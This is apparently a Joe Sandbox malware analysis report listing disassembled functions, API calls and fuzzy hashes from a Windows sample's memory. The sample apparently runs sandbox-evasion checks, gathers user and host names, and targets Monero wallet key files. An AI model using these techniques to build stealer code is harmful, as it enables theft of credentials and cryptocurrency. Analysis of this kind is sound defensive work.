Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 61208a12722f97540dbe7325c47df40f8008c710817c0f9e29383a849183e689
Instruction ID: c7e80bfe39e417a6d7054cab3fe9b4ba5bf140f527bbe5ef32aaf7ca7ec3a4f8
Opcode Fuzzy Hash: 61208a12722f97540dbe7325c47df40f8008c710817c0f9e29383a849183e689
Instruction Fuzzy Hash: F40162B5A04218BFE700DBE4DC49FADB7BCEB58701F108058FB45D72D0D670A9458B51

Function 00807720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807734
RtlAllocateHeap.NTDLL(00000000), ref: 0080773B
RegOpenKeyExA.KERNEL32(80000002,0134BFA0,00000000,00020119,008076B9), ref: 0080775B
RegQueryValueExA.KERNEL32(008076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0080777A
RegCloseKey.ADVAPI32(008076B9), ref: 00807784

Strings

CurrentBuildNumber, xrefs: 00807771

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 6ee14c68e1d17af0c1d7e44d35fa74fd3c9ac210bcf7232a9c5294cd80a12b3f
Instruction ID: 1ae1183273ea24ff52c57bb2adbacb433fcad832624cfa37235f26b7bec52217
Opcode Fuzzy Hash: 6ee14c68e1d17af0c1d7e44d35fa74fd3c9ac210bcf7232a9c5294cd80a12b3f
Instruction Fuzzy Hash: 3E0144B5A40318BBD700DBE4DC49FAEB7B8EF54700F004158FA45E7281D67055418B51

Function 008069F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,013524B8), ref: 008098A1
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352308), ref: 008098BA
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352320), ref: 008098D2
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352350), ref: 008098EA
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,013524D0), ref: 00809903
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01358FE8), ref: 0080991B
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01345A70), ref: 00809933
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01345930), ref: 0080994C
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352368), ref: 00809964
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352248), ref: 0080997C
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352380), ref: 00809995
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01352290), ref: 008099AD
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,01345710), ref: 008099C5
Part of subcall function 00809860: GetProcAddress.KERNEL32(74DD0000,013523B0), ref: 008099DE

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 007F11D0: ExitProcess.KERNEL32 ref: 007F1211

Part of subcall function 007F1160: GetSystemInfo.KERNEL32(?), ref: 007F116A
Part of subcall function 007F1160: ExitProcess.KERNEL32 ref: 007F117E

Part of subcall function 007F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007F112B
Part of subcall function 007F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 007F1132
Part of subcall function 007F1110: ExitProcess.KERNEL32 ref: 007F1143

Part of subcall function 007F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007F123E
Part of subcall function 007F1220: ExitProcess.KERNEL32 ref: 007F1294

Part of subcall function 00806770: GetUserDefaultLangID.KERNEL32 ref: 00806774

Part of subcall function 007F1190: ExitProcess.KERNEL32 ref: 007F11C6

Part of subcall function 00807850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007F11B7), ref: 00807880
Part of subcall function 00807850: RtlAllocateHeap.NTDLL(00000000), ref: 00807887
Part of subcall function 00807850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0080789F

Part of subcall function 008078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807910
Part of subcall function 008078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00807917
Part of subcall function 008078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0080792F

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013590C8,?,0081110C,?,00000000,?,00811110,?,00000000,00810AEF), ref: 00806ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00806AE8
CloseHandle.KERNEL32(00000000), ref: 00806AF9
Sleep.KERNEL32(00001770), ref: 00806B04
CloseHandle.KERNEL32(?,00000000,?,013590C8,?,0081110C,?,00000000,?,00811110,?,00000000,00810AEF), ref: 00806B1A
ExitProcess.KERNEL32 ref: 00806B22

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: fca21185173a777b8368eb2f784dc6110d2f4a83591b66f8fa7dfe4049741a53
Instruction ID: eba67faae8ca34b945b05072ed76ea33c88e79a61717d37d2a17187d2cf8062e
Opcode Fuzzy Hash: fca21185173a777b8368eb2f784dc6110d2f4a83591b66f8fa7dfe4049741a53
Instruction Fuzzy Hash: 1E31FA71A00218AADB88F7E4DC5ABEE7778FF14300F504528F252E21D2EF746945C6A7

Function 007F99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007F99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 007F9A11
LocalAlloc.KERNEL32(00000040,?), ref: 007F9A31
ReadFile.KERNEL32(000000FF,?,00000000,007F148F,00000000), ref: 007F9A5A
LocalFree.KERNEL32(007F148F), ref: 007F9A90
CloseHandle.KERNEL32(000000FF), ref: 007F9A9A

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 6655855e01f8e125b3a0b9e1d1e0aa0544e826e12abf459dc15e852f933da3c9
Instruction ID: 0ce0340e3a9f84c959d8b91c0310d20b5495f22dfd9610468c3e3c8640d0057e
Opcode Fuzzy Hash: 6655855e01f8e125b3a0b9e1d1e0aa0544e826e12abf459dc15e852f933da3c9
Instruction Fuzzy Hash: 8D31C4B4A00209EFDB14CF94D985BAE77B5FF58350F108158EA12A7390D778AA41CFA1

Function 00804780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0135E5C0), ref: 008047DB

Part of subcall function 00808DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00808E0B

lstrcat.KERNEL32(?,00000000), ref: 00804801
lstrcat.KERNEL32(?,?), ref: 00804820
lstrcat.KERNEL32(?,?), ref: 00804834
lstrcat.KERNEL32(?,0134B8B0), ref: 00804847
lstrcat.KERNEL32(?,?), ref: 0080485B
lstrcat.KERNEL32(?,0135D600), ref: 0080486F

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 00808D90: GetFileAttributesA.KERNEL32(00000000,?,007F1B54,?,?,0081564C,?,?,00810E1F), ref: 00808D9F

Part of subcall function 00804570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00804580
Part of subcall function 00804570: RtlAllocateHeap.NTDLL(00000000), ref: 00804587
Part of subcall function 00804570: wsprintfA.USER32 ref: 008045A6
Part of subcall function 00804570: FindFirstFileA.KERNEL32(?,?), ref: 008045BD

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: f8cddc20a4a701d742d8792243629aeab57d946056a8879b93dfb42339b2952b
Instruction ID: 8b5fa33a8c8e04172eba9ce83e76e9c31c2632e6d13774e6cec34ad0eac13c57
Opcode Fuzzy Hash: f8cddc20a4a701d742d8792243629aeab57d946056a8879b93dfb42339b2952b
Instruction Fuzzy Hash: FD317EB2900218A7CB54FBB4DC85EE9737CBB58700F404589B799960C1EE74E7CA8B92

Function 008040B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0135D720,00000000,00020119,?), ref: 008040F4
RegQueryValueExA.ADVAPI32(?,0135E518,00000000,00000000,00000000,000000FF), ref: 00804118
RegCloseKey.ADVAPI32(?), ref: 00804122
lstrcat.KERNEL32(?,00000000), ref: 00804147
lstrcat.KERNEL32(?,0135E500), ref: 0080415B

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 3717fa376dc53ff2746c6a3e727a82743dc2981ef3062556cdc4f368d24c235c
Instruction ID: 6511f6a48aa4bcdab1bca7db1f13912966b5e0d3161c26a85e81b2d0d8a8d814
Opcode Fuzzy Hash: 3717fa376dc53ff2746c6a3e727a82743dc2981ef3062556cdc4f368d24c235c
Instruction Fuzzy Hash: 7A4188B6D00118ABDB14EBE0DC4AFFE733DBB98300F404558B756971C1EA759B898B92

Function 00807E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807E37
RtlAllocateHeap.NTDLL(00000000), ref: 00807E3E
RegOpenKeyExA.KERNEL32(80000002,0134BF68,00000000,00020119,?), ref: 00807E5E
RegQueryValueExA.KERNEL32(?,0135D8E0,00000000,00000000,000000FF,000000FF), ref: 00807E7F
RegCloseKey.ADVAPI32(?), ref: 00807E92

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f5a229a252892d827b4cc73573c854698c7f3ababce15ab449c2c1de3632e27e
Instruction ID: ff7374810ae8def77646b1c708d3c0040b685462224a390df9812b5ae52fba5d
Opcode Fuzzy Hash: f5a229a252892d827b4cc73573c854698c7f3ababce15ab449c2c1de3632e27e
Instruction Fuzzy Hash: 43115EB2A44219EBD700CFD4DD49FBBBBB8FB14B10F104159F615E7280D77468018BA1

Function 007F12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007F12B4
RtlAllocateHeap.NTDLL(00000000), ref: 007F12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007F12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007F12F5
RegCloseKey.ADVAPI32(?), ref: 007F12FF

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
